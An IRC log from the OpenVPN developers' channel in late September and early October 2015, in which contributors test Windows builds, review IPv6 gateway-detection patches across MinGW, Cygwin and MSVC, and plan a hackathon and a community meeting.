<@vpnHelper> Title: Index of /downloads/temp/ (at build.openvpn.net) 02:49 * cron2 gets mail all the time :) 02:49 <@mattock1> yeah, but this mail is special :) 02:50 <@cron2> yep, this looks promising :-) - now I just need to fire up a windows machine and run a few tests 03:00 <@vpnHelper> RSS Update - gitrepo: Repair test_local_addr() on WIN32 <https://github.com/OpenVPN/openvpn/commit/c40f088e52132273f6d4e83d05fa64bbaedd860f> 03:08 -!- dazo_afk is now known as dazo 03:33 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has quit [Ping timeout: 264 seconds] 03:34 <@cron2> mattock1: I don't want to be the one that breaks the bad news again... but this was built with --disable-debug so I'm not sure it works or not... 03:36 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection] 04:38 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has joined #openvpn-devel 05:07 <@mattock1> cron2: damn, rebuilding 05:09 <@mattock1> I had forgotten to rebase the particular instance of openvpn-buil repo 05:09 <@mattock1> the --disable-debug flag is already gone from the official repo 05:31 <@mattock1> cron2: I926 installer here: http://build.openvpn.net/downloads/temp/ 05:31 <@vpnHelper> Title: Index of /downloads/temp/ (at build.openvpn.net) 05:31 <@mattock1> EXTRA_OPENVPN_CONFIG="${EXTRA_OPENVPN_CONFIG:---enable-password-save --disable-snappy}" 05:31 <@mattock1> no --disable-debug 05:32 <@mattock1> based on these sources: http://build.openvpn.net/downloads/temp/openvpn-2.3_git/ 05:32 <@vpnHelper> Title: Index of /downloads/temp/openvpn-2.3_git/ (at build.openvpn.net) 06:10 <@cron2> let me test :) 06:27 <@cron2> mattock1: these are good! At least the 32bit version does everything right, did not test the 64 bit one. 06:27 <@cron2> So, how do we move on from here? 06:28 <@cron2> (please leave the snapshots on the server, some other people have expressed interest in testing) 06:36 <@mattock1> cron2: great! 06:38 <@mattock1> we might want to get verification that visual studio and cygwin builds are unaffected 06:38 <@mattock1> I assume cygwin was the reason why you called out for d12fk? 06:43 <@cron2> mattock1: right. I assume I broke both, but cannot test that 06:45 <@mattock1> I'll send mail to our internal dev list... I assume some of our 2.3-based clients are built using visual studio 06:46 <@mattock1> we might want to send mail to openvpn-devel, asking people to test building with cygwin or visual studio 06:46 <@mattock1> I'll do it 06:49 <@mattock1> cron2: if we don't get any response in a reasonable time, I'd just merge the patch 06:49 <@mattock1> then, if/when things break for people they will complain and/or fix it 06:49 <@mattock1> it's not like we did not warn them beforehand 06:54 <@cron2> mattock1: but you could comment on the list that you've done build testing with mingw64 and with the new patch it builds and works :-) 06:54 <@mattock1> yeah, that part is written already 06:54 <@cron2> in response to http://article.gmane.org/gmane.network.openvpn.devel/10165 06:54 <@vpnHelper> Title: Gmane -- PATCH Add custom check for inet pton inet ntop on MinGW WIN32 (at article.gmane.org) 06:54 <@cron2> ah :) 06:55 <@cron2> but that was about my plan - give 'em a week to complain, then merge, and then fix MSVC and Cygwin later 06:56 <@mattock1> I'll link to that email but make the subject line clear, so that people don't miss the request too easily 07:03 <@mattock1> ok, there it went 07:04 <@mattock1> cron2: maybe you could ask for testers on openvpn-user, linking to the I926 installers? 07:04 <@mattock1> if there's a simple test-case for people 07:37 <@cron2> well, you need users that actually have IPv6, are aware of that, and connect to a server that has IPv6 *inside* the tunnel as well... I know at least two people doing so, and have reached out already 07:40 <@mattock1> ok, that is probably good enough then 07:40 <@plai> cron2: I can also test at home with 6to4 07:41 <@plai> or tethering with my phone ... 07:44 <@cron2> plai: that would be nice - run "openvpn --show-gateway" to verify that the IPv6 info printed makes sense, and then actually connect over IPv6 to a server and --route-ipv6 an overlapping subnet... 07:45 <@cron2> mattock1: oh, btw - does the installer check the windows version? This binary will not run on WinXP, so maybe the installer should tell people 07:50 <@plai> cron2: will do 07:51 <@plai> cron2: do you know if the APN decides if you get a tethered IPv6 or if that is the mobile device choice? 07:56 <@mattock1> cron2: it doesn't seem to check for the Windows version 07:57 <@mattock1> https://github.com/OpenVPN/openvpn-build/blob/master/windows-nsis/openvpn.nsi 07:57 <@vpnHelper> Title: openvpn-build/openvpn.nsi at master · OpenVPN/openvpn-build · GitHub (at github.com) 07:59 <@cron2> plai: I think that's a device choice - if you have v6, you will always get a /64, which you're (technically) allowed to share... 07:59 <@cron2> I have heard that *some* Android devices just don't do v6 on thethered wifi, and others do 08:00 < mator> i have ipv6 with/from openvpn on my android 08:01 < mator> i just don't know how to give ipv6 from android to tethered devices 08:02 <@cron2> it won't do that 08:03 <@cron2> only 3G+ipv6 -> tethered works today 08:12 <@plai> mator: you never share your VPN connection 08:13 <@plai> it will always share your normal connection 08:36 <@plai> you can always do your strange openvpn over openvpn setups 08:36 <@plai> and really mess up your routing tables :D 09:23 < mator> lol 09:23 < mator> :) 09:24 < mator> but who don't like to mess with routing ? :) 09:58 -!- reators [~holger@2001:1a80:2000:2:3984:3a31:217a:a680] has quit [Quit: Leaving.] 10:43 < mator> route-ipv6 works with tap devices, but 'man openvpn' objects 10:43 < mator> --route-ipv6 ipv6addr/bits [gateway] [metric] 10:43 < mator> setup IPv6 routing in the system to send the specified IPv6 network into OpenVPN's ``tun'' device 10:44 < mator> or i don't get it 10:44 <@cron2> well, it should maybe say "tun/tap device" 10:45 < mator> yes 10:45 < mator> since i have 'dev tap' on my client and 'dev tap0' on server 11:13 <@cron2> the very first ipv6 implementation had issues with routes-on-tap devices :) 11:18 < mator> i tried to use tap instead of tun to get lladdr on interface (fe80:), so that radvd (for SLAAC and privacy extensions) to work, but radvd works like for 2 minutes for tap interfaces and then gets silent. Need to debug what wrong with it... 11:41 <@plai> the install says that you need windows xp or higher 11:41 <@plai> we should change that 11:41 <@plai> Copyright (C) 2002-2010 OpenVPN Technologies, Inc. <sales@openvpn.net> 11:41 <@plai> seems also outdated 11:45 <@plai> c:\Program Files\OpenVPN>openvpn --show-gateway 11:45 <@plai> Fri Sep 25 18:42:14 2015 ROUTE_GATEWAY 192.168.188.1/255.255.255.0 I=20 HWADDR=f8:16:54:64:c6:fc 11:45 <@plai> Fri Sep 25 18:42:14 2015 ROUTE6_GATEWAY fe80::c225:6ff:fe36:b104 I=20 11:45 <@plai> after connect 11:55 <@plai> seems to work fine 12:09 <@cron2> trac#610 -> mattock, regarding windows xp 12:09 <@vpnHelper> RSS Update - tickets: #610: document restrictions for 2.4 on windows <https://community.openvpn.net/openvpn/ticket/610> 12:09 <@cron2> thanks for testing, sounds good :) 14:19 <@plai> Windows 10 as host btw. 14:39 <@vpnHelper> RSS Update - tickets: #611: VyprVPN violates GPL <https://community.openvpn.net/openvpn/ticket/611> 17:13 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 17:33 -!- dazo is now known as dazo_afk 17:41 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 18:12 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 20:14 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel --- Day changed Sat Sep 26 2015 01:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:40 <@mattock1> I got confirmation that James is coming to Delft 03:44 <@cron2> cool 03:50 <@cron2> shall we invite valdikss as well? he's very very busy in trac recently... 03:51 <@cron2> and just saw a post today about radiusplugin on -devel 03:51 <@cron2> anyway, need to go... bbl 04:38 -!- mator [~mator@u163.east.ru] has quit [Ping timeout: 265 seconds] 06:54 <@mattock1> yeah, why not --- Day changed Sun Sep 27 2015 11:46 <@plai> I got a lot of bad reviews. But today someone send me an email that defines the new bottom standard 11:46 <@plai> Pls learn to code. Your app dies an inglorious and shitty death every 5 hours. 11:46 <@plai> People like you (deniers of reality, etc) waste the time of people like me (productive, honest with self, etc). 11:46 <@plai> Listen to your ex-customers. Or not! 0 stars. 14:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 15:11 <@cron2> wow 15:35 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 252 seconds] 15:40 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 15:40 -!- mode/#openvpn-devel [+o cron2] by ChanServ 15:40 <@cron2> *sigh*... hardware... 18:23 -!- Enkidu_ak [~abrown@unaffiliated/enkidu-ak/x-8729472] has quit [Ping timeout: 250 seconds] 20:38 -!- siruf_ [~siruf@unaffiliated/motley] has joined #openvpn-devel 20:39 -!- eliasp_ [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 20:41 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 250 seconds] 20:41 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 250 seconds] 20:41 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 250 seconds] 20:41 -!- siruf_ is now known as siruf 20:45 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel --- Day changed Mon Sep 28 2015 00:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:18 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:43 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 02:18 <@syzzer> plai: oh wow, that guy really knows how to get someone to help him :') 02:33 <@plai> cron2: tell me about it 02:34 <@plai> cron2: my macbook decided to overheat instead of going to sleep and was now basically dead for half a day 02:34 <@plai> and now mysteriously come back to life 02:35 <@cron2> plai: machine pretended "nothing unusual happened" - my ssh sessions were connected just fine, screen was working, IRC was working - but the whole storage subsystem was dead due to hanging SCSI bus... - so I only wondered why I didn't receive more e-mail... and why my NMS complained about this machine... 02:35 <@cron2> but your variant is totally exciting (NOT) as well :) 02:35 <@cron2> so the mac is a zombie now? 02:47 <@plai> cron2: Did I mention that I am currently in Bilbao Spain? 02:47 <@cron2> you mentioned "vacation", but I'm not sure I remember where... 02:47 <@plai> My Notebook seem to have a habbit of dying/almost dying 02:48 <@plai> cron2: more like business trip 02:48 <@plai> vacation was last weekend in Dublin 02:48 <@cron2> plai: so it's a zombie notebook after all! 02:48 <@plai> cron2: last time my private notebook died 02:48 <@cron2> even more annoying, official trips and no working laptop... 03:34 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 04:08 -!- eliasp_ is now known as eliasp 05:13 -!- reators [~holger@2001:1a80:2000:2:44eb:1c82:37e4:ab86] has joined #openvpn-devel 09:35 <@cron2> hrmph, my planned rgi6 tester just mailed me that they cancelled the whole vpn project where this would be a nice addition (not due to "openvpn is stupid" but due to "large success on other projects, and no time") 09:35 <@cron2> reators: is d12fk sitting somewhere near you? 09:54 <@plai> cron2: :/ 09:56 <@cron2> plai: indeed :( - they are totally IPv6 obsessed, and complained to me a year ago that overlapping IPv6-over-IPv6 doesn't work "can you please fix it!" :-) 10:51 < reators> cron2: usually yes (~2m) :) 10:51 < reators> cron2: but today he's on holiday 11:24 <@cron2> reators: good :-) - just today, or "all week"? 12:20 < reators> cron2: only today 12:20 < reators> cron2: tomorrow he should be in again 14:13 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 246 seconds] 14:16 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 14:16 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 14:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 19:35 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Remote host closed the connection] 19:37 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 19:48 <@vpnHelper> RSS Update - tickets: #612: OpenVPN 2.3.8 topology subnet on FreeBSD 8.4 and 10.2 platform not normal operation <https://community.openvpn.net/openvpn/ticket/612> 19:50 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 252 seconds] 19:56 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel --- Day changed Tue Sep 29 2015 00:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:09 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:12 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:09 <@d12fk> cron2: re 04:20 <@cron2> d12fk: hah, good morning :-) - do I remember right, you're building openvpn on cygwin? 06:31 <@d12fk> cron2: yes i do 06:34 <@cron2> good :-) - do you have a current environment where you could "quickly" test two patches for breakage? I sent a configure.ac patch to the list that is needed to detect inet_ntop/inet_pton properly on mingw, and also the GetIpRoute2() patch, which is quite likely to blow up due to a typedef missing under MinGW... 06:35 * cron2 has no idea how to build with cygwin, especially all the dependencies... 06:36 <@d12fk> cron2: which patches? 06:37 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/10165 06:37 <@vpnHelper> Title: Gmane -- PATCH Add custom check for inet pton inet ntop on MinGW WIN32 (at article.gmane.org) 06:37 <@cron2> http://article.gmane.org/gmane.network.openvpn.devel/10085 06:37 <@vpnHelper> Title: Gmane -- PATCH 10 10 get default gateway ipv6 : Win32 implementation using GetBestRoute2 (at article.gmane.org) 06:37 <@cron2> 10085 needs 10165 for sufficently new MinGW versions (it worked on ubuntu 12.04 and blew up on 14.04...) 06:45 <@d12fk> cron2: bad news. windows build server died over the weekend 06:46 <@cron2> I'm so not surprised :-) - "the actual patch" already caused *far* less work than "fighting build system"... 06:46 <@cron2> do you have some sort of README how to build on Cygwin? Then I'll try to set up my own... 06:46 <@d12fk> bright side: seems to be the power supply not the disk 06:47 <@cron2> much less work to repair, yes :) 07:15 <@d12fk> cron2: so if configure runs you're happy? 07:16 <@cron2> no, it actually needs to succeed "make"... 07:16 <@d12fk> checking for MinGW inet_ntop()/inet_pton()... OK 07:16 <@cron2> the mingw problem was that recent mingw versions *have* inet_ntop, but we did not find it - and thus, tried to compile compat/ which has a totally different prototype 07:16 <@d12fk> shouldn't that read yes instead of OK 07:17 <@d12fk> make 07:17 <@d12fk> oops wrong window =) 07:17 <@d12fk> so configure succeeded =) 07:17 <@cron2> but this is already very good - the new code tries to compile a proper test program with -lws2_32 and the correct #include - so the OK is very good 07:17 <@cron2> that it says "OK" is "because I told it to"... it's a special macro 07:19 <@cron2> since building with MSVC does not need configure, this means 10165 is good :-) 07:20 <@cron2> so, need to visit $Kinderarzt for FSME-vaccination... bbl 07:20 <@cron2> (thanks, so far :) ) 07:31 <@d12fk> cron2: compilation succeeded as well. let me know if you need more output 09:17 <@cron2> d12fk: wooh! :-) - if you want, please run "openvpn --show-gateway" (but the output is only truly interesting if you have IPv6) 10:27 -!- reators [~holger@2001:1a80:2000:2:44eb:1c82:37e4:ab86] has quit [Quit: Leaving.] 11:26 <@d12fk> $ src/openvpn/.libs/openvpn.exe --show-gateway 11:26 <@d12fk> Tue Sep 29 17:23:28 2015 ROUTE_GATEWAY 10.128.128.1/255.255.252.0 I=11 HWADDR=00:22:15:4a:27:82 11:26 <@d12fk> Tue Sep 29 17:23:28 2015 ROUTE6_GATEWAY fe80::21a:8cff:fef0:ac44 I=11 11:29 <@d12fk> cron2: seems to be the output of ipconfig /all as well 11:59 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 13:52 <@cron2> d12fk: cool. "It Works!" :) 14:34 <@vpnHelper> RSS Update - tickets: #613: OpenVPN crashes with SIGSEGV when no certificate available <https://community.openvpn.net/openvpn/ticket/613> 14:48 -!- homestead [~l4cr0ss@unaffiliated/l4cr0ss] has joined #openvpn-devel 14:48 -!- homestead [~l4cr0ss@unaffiliated/l4cr0ss] has left #openvpn-devel [] 15:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 18:34 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 250 seconds] 18:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 18:35 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 18:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 18:36 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel 19:30 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has quit [Ping timeout: 268 seconds] 19:40 -!- eliasp [~quassel@HSI-KBW-46-223-71-248.hsi.kabel-badenwuerttemberg.de] has joined #openvpn-devel --- Day changed Wed Sep 30 2015 00:42 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:42 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:38 <@cron2> mornin' 01:42 < mator> hello 01:53 <@cron2> so how's your sparc? 03:08 -!- arlen is now known as arlen_ 03:09 -!- arlen_ is now known as arlen__ 03:09 -!- arlen__ is now known as arlen 03:12 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has joined #openvpn-devel 04:36 < mator> cron2 still had no time to reinstall 04:36 < mator> give me some more time =) 14:11 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 18:19 -!- siruf [~siruf@unaffiliated/motley] has quit [Quit: leaving] 18:21 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 23:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Thu Oct 01 2015 00:25 <@mattock1> cron2: I invited ValdikSS to the hackathon 00:25 <@mattock1> as mentioned by cron2 he's been very active in Trac lately 01:00 < lev__> Is visual studio version maintainted? For example, vcxproj is missing comp.c file 02:18 <@mattock1> lev__: no, not really 02:18 <@mattock1> you mean openvpn-build/msvc? 02:20 <@mattock1> we've put all our (mostly mine and pekster's) effort into openvpn-build/generic and openvpn-build/windows-nsis (installer generating wrapper) 02:26 <@mattock1> "The reason that OpenVPN needs support – Development is slow and the features of OpenVPN are falling behind the capabilities of Internet providers and nations to detect and interfere with OpenVPN connections." (from: https://ostif.org/ostif-supported-projects/) 02:26 <@vpnHelper> Title: OSTIF Supported Projects | OSTIF.org (at ostif.org) 02:26 <@syzzer> mattock1: can you let me know if he's coming :) 02:26 <@mattock1> syzzer: yeah, I will 02:27 <@mattock1> I just today learned that we're on OSTIF's supported projects list 02:28 <@syzzer> I think I heard that before 02:29 <@mattock1> yeah, I've heard about this organization in regards to OpenSSL 02:29 <@mattock1> or a similar organization sponsoring openssl 02:51 < lev__> mattock1: would it make sense to send a patch which allows to build with visual studio 2013? 02:52 <@mattock1> lev__: yeah, why not, if you're willing to maintain the buildsystem 02:52 <@mattock1> we don't put active effort into it, but some people have complained about it not working 02:53 <@mattock1> I think the msvc build is not too old to be beyond repair :P 02:53 <@mattock1> you can issue a pull request on GitHub, btw 02:57 <@cron2> lev__: James is compiling with MSVC, so occasionally we receive a patch from him when we broke something... 02:57 <@cron2> the comp.c was added quite a while ago, so it seems "nobody builds with MSVC these days, at least not master"... *sigh* 02:58 <@mattock1> james has his own buildsystem 02:58 < lev__> my colleague made it work - had to add comp.c to vcxproj and something related to attributes, which VS does not support 02:58 <@mattock1> lev__: patches are welcome 02:58 <@cron2> lev__: and a patch would certainly be very welcome - I apologize for everything I break, but sometimes you just can't test everything 03:00 < lev__> ack, should we send a patch to mail list as in good old times or will github pull request do? 03:00 <@cron2> I assume that the most recent windows patch (GetIpRoute2()) will also break 03:00 <@cron2> lev__: mailing list, please, if it's for "openvpn proper". openvpn-build is mattock's, he deals with pull requests 03:08 <@cron2> lev__: if you feel totally like it, it would be cool if you could also test http://article.gmane.org/gmane.network.openvpn.devel/10085 with MSVC and include patches for that in your fix, if needed :) 03:08 <@vpnHelper> Title: Gmane -- PATCH 10 10 get default gateway ipv6 : Win32 implementation using GetBestRoute2 (at article.gmane.org) 03:08 <@cron2> this patch has been tested with mingw old-and-new and cygwin so far, but not with MSVC 03:09 <@cron2> it might need upgrading the vcproj stuff to get "vista" API level - right now we do "XP", and GetIpRoute2() is not available there 03:55 -!- mator [~mator@u163.east.ru] has quit [Remote host closed the connection] 04:38 -!- mator [~mator@u163.east.ru] has joined #openvpn-devel 05:04 <@plai> syzzer, mattock1: I got an email from them. At that time it was a bit sketchy. They had the claim that OpenVPN was developed outside the US on the site. 05:15 <@mattock1> plai: yeah, they told me 05:26 <@cron2> well... 2.x development in the last 3-4 years was... :-) - but what is the point of that? 05:26 * cron2 wouldn't mind gobs of money going our way to help openvpn development :) 05:34 <@plai> :) 10:23 <@plai> Just FYI: I am pushing my connect timeout patch to my users over the next days (in beta channel for now) 10:23 <@plai> and see if it breaks something 10:23 <@plai> cron2: that means also your patches are now being "tested" 10:24 <@plai> apart from being almost a noop on android 11:16 < mator> cron2, works 11:16 < mator> http://fpaste.org/273703/44371603/ 13:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 14:12 <@cron2> mator: cool :-) - can you comment in the trac ticket, please? 14:12 <@cron2> plai: thanks for testing the almost-noop :-) 14:13 <@cron2> does it actually find v6 gateways? I think that part is still active --- Day changed Fri Oct 02 2015 00:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:27 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:57 <@cron2> meeting monday? 03:09 < lev__> hm, Visual Studio 2015 says "parser stack overflow, program too complex" on options.c:5903 03:15 <@plai> cron2: does it print that in the log? 03:26 <@cron2> plai: yes, when you connect over IPv6 transport (otherwise it won't bother) 03:29 <@cron2> lev__: now that is interesting - git master or 2.3? :5093 in master is totally harmless... 03:43 <@plai> cron2: I will look into that, when I have an IPv6 available again 03:43 <@plai> unfortunately the university WiFi here at the conference does not provide IPv6 04:03 < lev__> cron2: git master, will try with VS 2013. Maybe all those "else if" in options.c is too much for poor VS2015 04:38 < mator> cron, commented in trac yesterday 04:38 < mator> a quick short comment that it works 04:38 < mator> probably could close trac ticket as solved, if not yet 04:38 < mator> Status: closed 04:38 < mator> k 04:49 <@cron2> mator: I went there this morning to close it and found I already did so ;-) 05:03 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 05:03 < ValdikSS> Hi guys 05:05 <@plai> hi 05:05 < ValdikSS> I'd like to integrate my plugin https://github.com/ValdikSS/openvpn-fix-dns-leak-plugin into OpenVPN 05:06 <@vpnHelper> Title: ValdikSS/openvpn-fix-dns-leak-plugin · GitHub (at github.com) 05:06 < ValdikSS> I don't know how to compile it with mingw for example 05:06 < ValdikSS> Should I copy all headers and libraries from visual studio? 05:08 <@plai> err 05:08 <@plai> I never build openvpn on windows 05:08 <@plai> I think cron2 and mattock1 could help 05:08 <@plai> also d12fk 05:21 < ValdikSS> maybe lev__ ? 05:24 <@cron2> lev__ is fighting MSVC building right now :-) - mattock is the one that understands mingw cross-building 05:25 <@cron2> but I can take a stab at it... the tricky bit is getting all the cross-build-stuff into place first - there's a wiki article about "Using the generic build system" which has a script to get that into place on ubuntu 14 05:26 <@cron2> and regarding the comment in trac#605 - I think this is really perfect as a plugin, and not "built in", as it is really very specific code for Win10 that can be nicely maintained outside the "main" OpenVPN code, so plugin is perfect 05:29 < ValdikSS> It is also for Windows 8.1 05:29 < ValdikSS> Well, actually I'm an owner of a VPN service and I don't want to make custom configs for Windows 05:30 < ValdikSS> I can do my own OpenVPN build, but still 05:30 < ValdikSS> Moreover, if you use built-in Windows VPN, it works correctly 06:20 <@cron2> ValdikSS: ok, I can see the argument with custom windows configs... I still hope that MS will eventually give us a more reasonable lever to redirect DNS "as in win7" ("everything" or "everything for .domain.com")... 06:21 <@cron2> the firewalling bit is cool, but you'd need an extra switch to turn it on and off as well - if you do split tunnel, you might not want to push name servers in the VPN (I don't, on one of my customer VPNs as all names are in the global DNS anyway) 06:21 < lev__> ValdikSS: just compiled in MSVS2013, last time I tried mingw it went fine IIRC 06:22 < lev__> ValdikSS: here is patched version which compiles in VS: https://github.com/stipa/openvpn/tree/msvs2013 06:22 <@vpnHelper> Title: stipa/openvpn at msvs2013 · GitHub (at github.com) 06:23 <@cron2> lev__: please send patches :) 06:24 < lev__> cron2: will do 06:31 < ValdikSS> cron2: sure, I think of an extra config option which could be pushable and would be ignored on non-Windows platforms 06:48 <@cron2> ValdikSS: understood... 06:55 <@cron2> lev__: was that including my GetIpRoute2() patch? Or "just git master"? 06:59 < ValdikSS> By the way, why OpenVPN doesn't understand what adapter to use with tun-ipv6? 07:00 < lev__> cron2: so far just git master 07:00 < ValdikSS> If we have multiple TAP adapters in Windows, it requires setting GUID of adapter 07:30 <@cron2> ValdikSS: uh. I'd argue "because nobody told me that it's broken". Dunno. I assume that IPv4 using netsh.exe is broken as well, then, because it does not pick the right tap adapter name 07:31 <@cron2> the IPv6 ifconfig/netsh code does the same thing as the IPv4 code, only that for IPv4 people using the "other" APIs won't notice... 07:31 * cron2 has never seen a windows installation with multiple tap adapters, but then, my windows users are not very sophisticated, they just use what I feed them 07:32 < ValdikSS> By the way, there are a bunch of open-source OpenVPN GUIs from various VPN services. Maybe we should switch to one of them? 07:32 < ValdikSS> They are much more powerful and stable than openvpn-gui 07:32 < ValdikSS> For example, the one from AirVPN is a cross-platform (Windows, Linux, Mac OS) written in Mono 07:33 <@cron2> well... the origina reason for using openvpn-gui was that d12fk is currently maintaining it and he was very actively participating here in the channel and on the list. Unfortunately, he became very very busy some 2 years ago, so that argument is not as compelling as it was back then... 07:35 <@cron2> I think this is something we should definitely discuss, in the whole group... some technical aspects, lots of political and emotional aspects... 07:35 <@cron2> mattock1: meeting agenda? 09:25 <@cron2> valdikss: in which timezone do you live? 09:27 < ValdikSS> cron2: UTC+3, Moscow 09:29 <@cron2> are you more of a "late night" or "early morning" person? We do have an IRC meeting next monday, 8pm in UTC+2 - so that would be 9pm-11pm for you... 09:29 <@cron2> if "enough" people are there, this is where we try to do "decisions"... 09:29 < ValdikSS> cron2: that's OK for me 09:29 <@cron2> good : 09:29 <@cron2> :) 09:29 <@cron2> http://community.openvpn.net/openvpn/wiki/Topics-2015-10-05 09:29 <@vpnHelper> Title: Topics-2015-10-05 – OpenVPN Community (at community.openvpn.net) 09:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:00 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:05 * plai builds a OpenSSL library without sslv3 or sslv2 support 11:05 <@plai> (It is OpenSSL, so it might still somehow break) 11:13 -!- reators [~holger@port-92-198-130-130.static.qsc.de] has quit [Quit: Leaving.] 13:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 14:50 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Quit: Konversation terminated!] 15:22 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel --- Day changed Sat Oct 03 2015 02:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 05:12 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Ping timeout: 256 seconds] 05:16 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 06:10 < ValdikSS> cron2: I'd like also to attract your attention to ticket #180 (https://community.openvpn.net/openvpn/ticket/180) and ticket 461 (https://community.openvpn.net/openvpn/ticket/461) 06:10 <@vpnHelper> Title: #180 (OpenVPN won't send AUTH_FAILED if client-connect plugin exited successfully but script not) – OpenVPN Community (at community.openvpn.net) 06:36 <@cron2> ValdikSS: yes, I've seen that you looked into it recently but did not have brains to try to understand it fully 06:41 -!- riddle [riddle@us.yunix.net] has quit [Quit: Lost terminal] 06:42 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 15:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 15:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 21:48 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Read error: Connection reset by peer] 21:48 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 22:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 22:21 -!- d12fk [~heiko@85.25.119.185] has quit [Ping timeout: 265 seconds] 22:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Sun Oct 04 2015 00:47 -!- ValdikSS [~valdikss@185.61.149.121] has quit [Read error: Connection reset by peer] 01:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:57 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 04:27 -!- ValdikSS [~valdikss@185.61.149.121] has joined #openvpn-devel 06:08 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood] 14:28 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 14:29 -!- lev__ [~lev@stipakov.fi] has quit 